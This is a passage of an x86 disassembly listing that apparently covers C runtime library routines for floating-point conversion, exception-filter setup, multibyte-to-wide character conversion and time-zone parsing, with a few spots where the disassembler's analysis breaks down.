		cmp	ecx, 10000h
		jnz	short loc_4182EC
		or	eax, esi
		jmp	short loc_4182EC
; ---------------------------------------------------------------------------


loc_4182EA:				; CODE XREF: sub_418271+6Bj
		or	eax, edx


loc_4182EC:				; CODE XREF: sub_418271+73j
					; sub_418271+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_4182F9
		or	ah, 10h

locret_4182F9:				; CODE XREF: sub_418271+83j
		retn
sub_418271	endp


; =============== S U B	R O U T	I N E =======================================



sub_4182FA	proc near		; CODE XREF: sub_418399+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_41833F
		inc	esi
		cmp	esi, 3
		jge	short loc_41833A
		lea	eax, [eax+esi*4]


loc_41832C:				; CODE XREF: sub_4182FA+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_41833F
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_41832C


loc_41833A:				; CODE XREF: sub_4182FA+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41833F:				; CODE XREF: sub_4182FA+27j
					; sub_4182FA+35j
		xor	eax, eax
		pop	esi
		retn
sub_4182FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_418343	proc near		; CODE XREF: sub_418399+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_41969F
		add	esp, 0Ch
		dec	esi
		js	short loc_418395
		lea	edi, [ebx+esi*4]


loc_41837C:				; CODE XREF: sub_418343+50j
		test	eax, eax
		jz	short loc_418395
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_41969F
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_41837C


loc_418395:				; CODE XREF: sub_418343+34j
					; sub_418343+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_418343	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418399	proc near		; CODE XREF: sub_4184F4+81p
					; sub_4184F4+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_4183FD
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_4182FA
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4183FA
		push	edi
		push	[ebp+arg_0]
		call	sub_418343
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_4183FA:				; CODE XREF: sub_418399+51j
		mov	eax, [ebp+arg_4]


loc_4183FD:				; CODE XREF: sub_418399+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_41841D
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_41841D:				; CODE XREF: sub_418399+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418399	endp


; =============== S U B	R O U T	I N E =======================================



sub_418425	proc near		; CODE XREF: sub_4184F4+75p
					; sub_4184F4+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_418433:				; CODE XREF: sub_418425+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_418433
		pop	esi
		retn
sub_418425	endp


; =============== S U B	R O U T	I N E =======================================



sub_418440	proc near		; CODE XREF: sub_4184F4+5Fp
					; sub_4184F4+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_418440	endp


; =============== S U B	R O U T	I N E =======================================



sub_41844C	proc near		; CODE XREF: sub_4184F4+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_418452:				; CODE XREF: sub_41844C+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_418464
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_418452
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_418464:				; CODE XREF: sub_41844C+9j
		xor	eax, eax
		retn
sub_41844C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418467	proc near		; CODE XREF: sub_4184F4+C0p
					; sub_4184F4+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_41849D:				; CODE XREF: sub_418467+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_41849D
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_4184CF:				; CODE XREF: sub_418467+86j
		cmp	ebx, edi
		jl	short loc_4184E2
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_4184E9
; ---------------------------------------------------------------------------


loc_4184E2:				; CODE XREF: sub_418467+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_4184E9:				; CODE XREF: sub_418467+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_4184CF
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418467	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184F4	proc near		; CODE XREF: sub_418660+Dp
					; sub_418676+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_418561
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_41844C
		test	eax, eax
		pop	ecx
		jnz	loc_418620
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_418440
		pop	ecx


loc_418559:				; CODE XREF: sub_4184F4+E4j
		push	2


loc_41855B:				; CODE XREF: sub_4184F4+110j
		pop	eax
		jmp	loc_418622
; ---------------------------------------------------------------------------


loc_418561:				; CODE XREF: sub_4184F4+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_418425
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_418399
		add	esp, 10h
		test	eax, eax
		jz	short loc_418582
		inc	ebx


loc_418582:				; CODE XREF: sub_4184F4+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_41859A
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_418440
		pop	ecx
		jmp	short loc_4185D6
; ---------------------------------------------------------------------------


loc_41859A:				; CODE XREF: sub_4184F4+98j
		cmp	ebx, eax
		jg	short loc_4185DD
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_418425
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_418467
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_418399
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_418467
		add	esp, 20h


loc_4185D6:				; CODE XREF: sub_4184F4+A4j
		xor	esi, esi
		jmp	loc_418559
; ---------------------------------------------------------------------------


loc_4185DD:				; CODE XREF: sub_4184F4+A8j
		cmp	ebx, [edi]
		jl	short loc_418609
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_418440
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_418467
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_41855B
; ---------------------------------------------------------------------------


loc_418609:				; CODE XREF: sub_4184F4+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_418467
		pop	ecx
		pop	ecx


loc_418620:				; CODE XREF: sub_4184F4+55j
		xor	eax, eax


loc_418622:				; CODE XREF: sub_4184F4+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_418651
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_41865B
; ---------------------------------------------------------------------------


loc_418651:				; CODE XREF: sub_4184F4+14Ej
		cmp	edi, 20h
		jnz	short loc_41865B
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_41865B:				; CODE XREF: sub_4184F4+15Bj
					; sub_4184F4+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4184F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_418660	proc near		; CODE XREF: sub_41868C+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_42E1A0
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4184F4
		add	esp, 0Ch
		retn
sub_418660	endp


; =============== S U B	R O U T	I N E =======================================



sub_418676	proc near		; CODE XREF: sub_4186B9+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_42E1B8
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4184F4
		add	esp, 0Ch
		retn
sub_418676	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41868C	proc near		; CODE XREF: sub_4149BB+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_419840
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_418660
		add	esp, 24h
		leave
		retn
sub_41868C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4186B9	proc near		; CODE XREF: sub_4149BB+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_419840
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_418676
		add	esp, 24h
		leave
		retn
sub_4186B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4186E6	proc near		; CODE XREF: sub_4149F9+65p
					; sub_414AFD+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_418723
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_418709:				; CODE XREF: sub_4186E6+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_418715
		movsx	edx, dl
		inc	ecx
		jmp	short loc_418718
; ---------------------------------------------------------------------------


loc_418715:				; CODE XREF: sub_4186E6+27j
		push	30h
		pop	edx


loc_418718:				; CODE XREF: sub_4186E6+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_418709
		mov	edx, [ebp+arg_8]


loc_418723:				; CODE XREF: sub_4186E6+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_41873C
		cmp	byte ptr [ecx],	35h
		jl	short loc_41873C


loc_41872F:				; CODE XREF: sub_4186E6+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_41873A
		mov	byte ptr [eax],	30h
		jmp	short loc_41872F
; ---------------------------------------------------------------------------


loc_41873A:				; CODE XREF: sub_4186E6+4Dj
		inc	byte ptr [eax]


loc_41873C:				; CODE XREF: sub_4186E6+42j
					; sub_4186E6+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_418746
		inc	dword ptr [edx+4]
		jmp	short loc_418758
; ---------------------------------------------------------------------------


loc_418746:				; CODE XREF: sub_4186E6+59j
		push	edi
		call	sub_410A70
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_4111B0
		add	esp, 10h


loc_418758:				; CODE XREF: sub_4186E6+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4186E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41875D	proc near		; CODE XREF: sub_4149F9+3Fp
					; sub_414AFD+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4187C1
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_45ECE0
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_419D11
		mov	ds:dword_45ED08, eax
		add	esp, 18h
		movsx	eax, ds:byte_45ECE2
		mov	ds:dword_45ED00, eax
		pop	edi
		movsx	eax, ds:word_45ECE0
		mov	ds:dword_45ED04, eax
		mov	ds:dword_45ED0C, offset	dword_45ECE4
		mov	eax, offset dword_45ED00
		pop	esi
		leave
		retn
sub_41875D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4187C1	proc near		; CODE XREF: sub_41875D+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_41880F
		cmp	ebx, edi
		jz	short loc_418808
		lea	edi, [ecx+3C00h]
		jmp	short loc_418830
; ---------------------------------------------------------------------------


loc_418808:				; CODE XREF: sub_4187C1+3Dj
		mov	edi, 7FFFh
		jmp	short loc_418830
; ---------------------------------------------------------------------------


loc_41880F:				; CODE XREF: sub_4187C1+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_418827
		cmp	edx, ebx
		jnz	short loc_418827
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_418872
; ---------------------------------------------------------------------------


loc_418827:				; CODE XREF: sub_4187C1+52j
					; sub_4187C1+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_418830:				; CODE XREF: sub_4187C1+45j
					; sub_4187C1+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_418848:				; CODE XREF: sub_4187C1+A6j
		test	ecx, esi
		jnz	short loc_418869
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_418848
; ---------------------------------------------------------------------------


loc_418869:				; CODE XREF: sub_4187C1+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_418872:				; CODE XREF: sub_4187C1+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4187C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_418877	proc near		; CODE XREF: sub_412BCC+3AAp
					; sub_412BCC+3CBp ...
		push	2
		call	sub_412A6E
		pop	ecx
		retn
sub_418877	endp


; =============== S U B	R O U T	I N E =======================================



sub_418880	proc near		; DATA XREF: sub_4188C6o
					; seg002:0042DB70o ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4188A3
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4188A3
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_4188A3
		jmp	sub_41557C
; ---------------------------------------------------------------------------


loc_4188A3:				; CODE XREF: sub_418880+Dj
					; sub_418880+13j ...
		mov	eax, ds:dword_45ED10
		test	eax, eax
		jz	short loc_4188C0
		push	eax
		call	sub_41891C
		test	eax, eax
		pop	ecx
		jz	short loc_4188C0
		push	esi
		call	ds:dword_45ED10
		jmp	short loc_4188C2
; ---------------------------------------------------------------------------


loc_4188C0:				; CODE XREF: sub_418880+2Aj
					; sub_418880+35j
		xor	eax, eax


loc_4188C2:				; CODE XREF: sub_418880+3Ej
		pop	esi
		retn	4
sub_418880	endp


; =============== S U B	R O U T	I N E =======================================



sub_4188C6	proc near		; DATA XREF: seg002:0041E020o
		push	offset sub_418880
		call	ds:dword_41C024	; SetUnhandledExceptionFilter
		mov	ds:dword_45ED10, eax
		retn
sub_4188C6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4188D7	proc near		; DATA XREF: seg002:0041E038o
		push	ds:dword_45ED10
		call	ds:dword_41C024	; SetUnhandledExceptionFilter
		retn
sub_4188D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4188E4	proc near		; CODE XREF: sub_414DD1+6Bp
					; sub_4152E2+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 0A70000h
		db	26h
		test	eax, eax
		jz	short loc_4188FC
		xor	esi, esi


loc_4188FC:				; CODE XREF: sub_4188E4+14j
		mov	eax, esi
		pop	esi
		retn
sub_4188E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_418900	proc near		; CODE XREF: sub_4152E2+73p
					; sub_4152E2+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 0A70000h
		scasb
		test	eax, eax
		jz	short loc_418918
		xor	esi, esi


loc_418918:				; CODE XREF: sub_418900+14j
		mov	eax, esi
		pop	esi
		retn
sub_418900	endp


; =============== S U B	R O U T	I N E =======================================



sub_41891C	proc near		; CODE XREF: sub_4152E2+15Bp
					; sub_418880+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	near ptr 0A70000h
		xchg	eax, [ebp+330274C0h]


loc_41892F:				; CODE XREF: sub_41557C:loc_4155CDj
		test	byte ptr [ebx+6AC35EC6h], 0Ah
		call	sub_417BBD
		push	16h
		call	sub_419FA4
		pop	ecx
		pop	ecx
		push	3
		call	sub_412568
sub_41891C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41894B	proc near		; CODE XREF: sub_41571D+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_41896E
		cmp	[ebp+arg_8], ebx
		jz	short loc_41896E
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_418974
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_41896E
		mov	[eax], bx


loc_41896E:				; CODE XREF: sub_41894B+Cj
					; sub_41894B+11j ...
		xor	eax, eax


loc_418970:				; CODE XREF: sub_41894B+42j
					; sub_41894B+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_418974:				; CODE XREF: sub_41894B+17j
		cmp	ds:dword_45EBA0, ebx
		jnz	short loc_41898F
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_41898A
		movzx	ax, al
		mov	[ecx], ax


loc_41898A:				; CODE XREF: sub_41894B+36j
					; sub_41894B+C0j
		push	1
		pop	eax
		jmp	short loc_418970
; ---------------------------------------------------------------------------


loc_41898F:				; CODE XREF: sub_41894B+2Fj
		mov	ecx, ds:off_42D820
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_4189EC
		mov	eax, ds:dword_42DA2C
		cmp	eax, 1
		jle	short loc_4189D3
		cmp	[ebp+arg_8], eax
		jl	short loc_4189DD
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	ds:dword_45EBB0
		call	ds:dword_41C12C	; MultiByteToWideChar
		test	eax, eax
		mov	eax, ds:dword_42DA2C
		jnz	short loc_418970


loc_4189D3:				; CODE XREF: sub_41894B+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_4189DD
		cmp	[esi+1], bl
		jnz	short loc_418970


loc_4189DD:				; CODE XREF: sub_41894B+61j
					; sub_41894B+8Bj ...
		mov	ds:dword_45EB14, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_418970
; ---------------------------------------------------------------------------


loc_4189EC:				; CODE XREF: sub_41894B+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	ds:dword_45EBB0
		call	ds:dword_41C12C	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_41898A
		jmp	short loc_4189DD
sub_41894B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418A13	proc near		; CODE XREF: sub_41571D+76p
					; sub_41571D+88p ...

arg_0		= dword	ptr  4

		cmp	ds:dword_42DA2C, 1
		jle	short loc_418A2A
		push	8
		push	[esp+4+arg_0]
		call	sub_4133D6
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_418A2A:				; CODE XREF: sub_418A13+7j
		mov	eax, [esp+arg_0]
		mov	ecx, ds:off_42D820
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_418A13	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418A40	proc near		; CODE XREF: sub_41571D+797p
					; sub_41571D+7E7p
		cmp	cl, 40h
		jnb	short loc_418A5A
		cmp	cl, 20h
		jnb	short loc_418A50
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_418A50:				; CODE XREF: sub_418A40+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_418A5A:				; CODE XREF: sub_418A40+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_418A40	endp


; =============== S U B	R O U T	I N E =======================================



sub_418A5F	proc near		; CODE XREF: sub_416193+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_418AAB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_418A7D
		test	al, 80h
		jz	short loc_418AAB
		test	al, 2
		jnz	short loc_418AAB


loc_418A7D:				; CODE XREF: sub_418A5F+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_418A8A
		push	esi
		call	sub_417EBD
		pop	ecx


loc_418A8A:				; CODE XREF: sub_418A5F+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_418A9A
		cmp	dword ptr [esi+4], 0
		jnz	short loc_418AAB
		inc	eax
		mov	[esi], eax


loc_418A9A:				; CODE XREF: sub_418A5F+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_418AB1
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_418AB7
		inc	eax
		mov	[esi], eax


loc_418AAB:				; CODE XREF: sub_418A5F+9j
					; sub_418A5F+18j ...
		or	eax, 0FFFFFFFFh


loc_418AAE:				; CODE XREF: sub_418A5F+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_418AB1:				; CODE XREF: sub_418A5F+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_418AB7:				; CODE XREF: sub_418A5F+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_418AAE
sub_418A5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_418ACD	proc near		; CODE XREF: sub_4161CE:loc_41620Dp
		cmp	ds:dword_45EDD0, 0
		jnz	short locret_418AE1
		call	loc_418AE2
		inc	ds:dword_45EDD0

locret_418AE1:				; CODE XREF: sub_418ACD+7j
		retn
sub_418ACD	endp

; ---------------------------------------------------------------------------


loc_418AE2:				; CODE XREF: sub_418ACD+9p
		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	ds:dword_45ED18, ebp
		mov	ds:dword_42E278, ebx
		mov	ds:dword_42E268, ebx
		call	sub_41A116
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
